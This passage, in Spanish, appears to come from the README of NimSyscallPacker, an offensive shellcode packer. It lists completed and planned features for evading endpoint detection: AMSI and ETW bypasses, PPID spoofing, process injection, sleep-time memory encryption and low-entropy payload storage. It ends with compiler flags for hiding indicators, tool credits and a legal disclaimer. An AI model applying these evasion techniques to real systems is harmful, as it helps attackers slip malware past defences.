- [X] Pasar parámetros mediante parcheo de la función de importación de API
- [X] Cifrado de memoria del Shellcode mediante Sleep Hook [como ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] Llamar a las funciones de Windows ‘GetConsoleWindow’ y ‘ShowWindow’ después de que el proceso se crea y se cargan los hooks del EDR, y luego cambiar los atributos de la ventana a oculta en lugar de usar flags de compilación de GUI
- [X] Más sleeps entre algunos stubs potencialmente críticos
- [X] Definir un proceso remoto personalizado a crear antes de inyectar en él (por ahora está hardcodeado notepad)
- [X] PPID Spoofing para procesos recién creados
- [X] BlockDLLs para procesos nuevos
- [X] Bypass de AMSI sin parches (p. ej. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] Bypass de AMSI mediante NtCreateSection Hook (p. ej. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Más parcheo de ETW para EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Soporte de binarios de servicio, como https://github.com/enthus1ast/nimWindowsService/
- [X] Interruptor de DLL hijacking para DLLMain con process attach
- [X] Corregir bugs de casting x86
- [ ] Soporte Wow64
- [X] Añadir `--pump` bytes nulos en medio como https://gitlab.com/ORCA000/entropyfix (Hay que probarlo, puede causar fallos)
- [X] Archivos de salida CPL
- [ ] Opción de peticiones HTTP señuelo
- [X] Descargar Shellcode desde un servidor web o leerlo desde un archivo local como alternativa a incrustarlo (por defecto)
- [X] Usar más flags del compilador para sobrescribir dynlib y evitar IoCs de funciones y reducir el tamaño `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Usar handles clonados en lugar de OpenProcess (como Handlekatz) para la inyección en procesos remotos o como alternativa a Handle Elevation
- [X] Elevación de handles
- [X] Añadir ThreadlessInject para inyección remota
- [ ] Añadir primitivas de ejecución por Callback para inyección remota mediante un port a Nim de https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] Almacenar payloads como direcciones MAC o IP y recuperar el payload cifrado en tiempo de ejecución para disminuir la entropía
- [X] Añadir múltiples saltos para diferentes regiones en la dirección de inicio del hilo (como DripLoader) para evitar detecciones por escaneo de memoria (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CRÉDITOS
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Función Sleep + módulo de Library para procesos remotos + código inicial de argumentos hardcodeados
- [X] [@chvancooten](https://twitter.com/chvancooten) - strenc personalizado + inspiración de su Nim Packer
- [X] [@lefayjey](https://github.com/lefayjey) - Salida DLL + contribución del script CNA
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - Inspiración
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - Parche AMSI / ETW de 1 byte + ideas de evasión de SandBox
- [X] [glynx](https://github.com/glynx) - Pull Request de argumentos hardcodeados de Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Docker File
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Idea de inyección Stomb+Threadless
- [X] [DrDv](https://github.com/DrorDvash) - Generador de CommandLine
## Aviso legal:
El uso de NimSyscallPacker para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de cualquier mal uso o daño causado por este programa. Úsalo solo con fines educativos.